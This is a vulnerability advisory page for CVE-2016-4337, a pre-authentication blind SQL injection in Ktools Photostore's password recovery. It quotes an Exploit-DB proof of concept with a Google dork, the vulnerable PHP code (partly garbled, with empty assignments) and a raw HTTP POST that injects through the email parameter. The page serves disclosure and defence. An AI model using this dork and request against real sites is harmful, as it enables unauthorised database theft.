CVE-2016-4337

critical

Published 2017-04-12 · Modified 2026-05-13

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CVSS v3

9.8

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CVSS v4 NEW

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not yet in upstream

VIR risk

10.0

Description

SQL injection vulnerability in the mgr.login.php file in Ktools.net Photostore before 4.7.5 allows remote attackers to execute arbitrary SQL commands via the email parameter in a recover_login action.

Predictions

Exploit likelihood

97%

Patch ETA

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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-40046 webapps php verified text · 2 KB

Gal Goldshtein & Viktor Minin · 2016-06-30

Ktools Photostore 4.7.5 - Blind SQL Injection

text exploit Source: Exploit-DB

Title       : Ktools Photostore <= 4.7.5 (Pre-Authentication) Blind SQL Injection
CVE-ID      : CVE-2016-4337
Google Dork: inurl:mgr.login.php
Product     : Photostore
Affected    : Versions prior to 4.7.5
Impact      : Critical
Remote      : Yes
Website link: http://www.ktools.net
Reported    : 02/06/2016
Authors     : Gal Goldshtein and Viktor Minin
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No authentication (login) is required to exploit this vulnerability.
The Photostore application password recovery module is prone to a blind sql injection attack.
An attacker can exploit this vulnerability to retrieve all the data stored in the application's database.


Vulnerable code is located in the mgr.login.php file:

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case 'recover_login': {
                                                mysqli_query( $db, '' . 'SELECT username,password,email,admin_id FROM ' . $dbinfo[pre] . 'admins where email = \'' . $_POST['email'] . '\'' );
                                                $result = ;
                                                mysqli_num_rows( $result );
                                                $returned_rows = ;
                                                mysqli_fetch_array( $result );
                                                $db_admin_user = ;
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PoC:
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POST /photostore/manager/mgr.login.php?pmode=recover_login HTTP/1.1
Host: victim.net
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://server/photostore/manager/mgr.login.php?username=demo&password=demo
Cookie: member[umem_id]=58C05864CA6A59DBGHJSKDHGDGS770D5; PHPSESSID=30afayreighgfdgucb0d2b0c6dece3158
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 9

email=%27%20[SQL PAYLOAD];#
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Application impact

Vendor	Product	Versions	Fixed
ktools	photostore	`{"endIncluding":"4.7.4"}`

References

CWEs

CWE-89

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Verify integrity in audit chain (admin only). AS-IS.